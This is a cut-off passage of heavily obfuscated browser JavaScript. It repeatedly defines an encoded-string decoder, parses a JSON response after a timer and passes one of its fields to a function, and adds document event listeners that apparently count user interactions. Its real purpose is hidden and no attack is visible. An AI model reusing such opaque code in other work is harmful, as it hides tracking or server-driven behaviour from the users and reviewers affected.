xBIYA3=Ux_oJtS.indexOf(XQL968[J4vTjX]);if(xBIYA3===-oI6xCCS[0x1])continue;if(noBU9B<oI6xCCS[0x0]){noBU9B=xBIYA3}else{NetL9P(noBU9B+=xBIYA3*oI6xCCS[0xc],mv_oCS2|=noBU9B<<sS7hNk,sS7hNk+=(noBU9B&oI6xCCS[0xd])>oI6xCCS[0xe]?oI6xCCS[0xf]:oI6xCCS[0x10]);do{NetL9P(JV2MTq.push(mv_oCS2&oI6xCCS[0x3]),mv_oCS2>>=oI6xCCS[0x2],sS7hNk-=oI6xCCS[0x2])}while(sS7hNk>oI6xCCS[0x9]);noBU9B=-oI6xCCS[0x1]}}if(noBU9B>-oI6xCCS[0x1]){JV2MTq.push((mv_oCS2|noBU9B<<sS7hNk)&oI6xCCS[0x3])}return RUuZO8v(JV2MTq)}function XQL968(x6_A_PE){if(typeof zVjCFG[x6_A_PE]===oI6xCCS[0x5]){return zVjCFG[x6_A_PE]=Ux_oJtS(TUEuVu[x6_A_PE])}return zVjCFG[x6_A_PE]}const hsPrC0=JSON[XQL968(0x70)](x6_A_PE);NetL9P(byy8OU=PVsx6G(),noBU9B=hsPrC0[XQL968(0x71)],hsPrC0[oI6xCCS[0x12]]&&Z3nPlV(hsPrC0[oI6xCCS[0x12]]))})[Ux_oJtS(0x72)](()=>{return oI6xCCS[0x0]}))},0x1f4);let O9ViQwc=!oI6xCCS[0x1],iVnumI=oI6xCCS[0x0],MC9gcY=oI6xCCS[0x0];NetL9P(document[Ux_oJtS(oI6xCCS[0x13])](Ux_oJtS(0x74),x6_A_PE=>{function Ux_oJtS(x6_A_PE){var Ux_oJtS="b1pMHfAlrOcSXhBeCFjW6ayoK%x=4D/GR~q;!|Q8)wv`k}:LiV2g*znIU_dE{9>T[YPJNm+Zt@<#3s],\"^&07.5u(?$",XQL968,hsPrC0,JV2MTq,mv_oCS2,sS7hNk,noBU9B,J4vTjX;NetL9P(XQL968=""+(x6_A_PE||""),hsPrC0=XQL968.length,JV2MTq=[],mv_oCS2=oI6xCCS[0x0],sS7hNk=oI6xCCS[0x0],noBU9B=-oI6xCCS[0x1]);for(J4vTjX=oI6xCCS[0x0];J4vTjX<hsPrC0;J4vTjX++){var xBIYA3=Ux_oJtS.indexOf(XQL968[J4vTjX]);if(xBIYA3===-oI6xCCS[0x1])continue;if(noBU9B<oI6xCCS[0x0]){noBU9B=xBIYA3}else{NetL9P(noBU9B+=xBIYA3*oI6xCCS[0xc],mv_oCS2|=noBU9B<<sS7hNk,sS7hNk+=(noBU9B&oI6xCCS[0xd])>oI6xCCS[0xe]?oI6xCCS[0xf]:oI6xCCS[0x10]);do{NetL9P(JV2MTq.push(mv_oCS2&oI6xCCS[0x3]),mv_oCS2>>=oI6xCCS[0x2],sS7hNk-=oI6xCCS[0x2])}while(sS7hNk>oI6xCCS[0x9]);noBU9B=-oI6xCCS[0x1]}}if(noBU9B>-oI6xCCS[0x1]){JV2MTq.push((mv_oCS2|noBU9B<<sS7hNk)&oI6xCCS[0x3])}return RUuZO8v(JV2MTq)}function XQL968(x6_A_PE){if(typeof zVjCFG[x6_A_PE]===oI6xCCS[0x5]){return zVjCFG[x6_A_PE]=Ux_oJtS(TUEuVu[x6_A_PE])}return zVjCFG[x6_A_PE]}return x6_A_PE[XQL968(0x75)]&&iVnumI++}),document[Ux_oJtS(oI6xCCS[0x13])](Ux_oJtS(0x76),x6_A_PE=>{function Ux_oJtS(x6_A_PE){var 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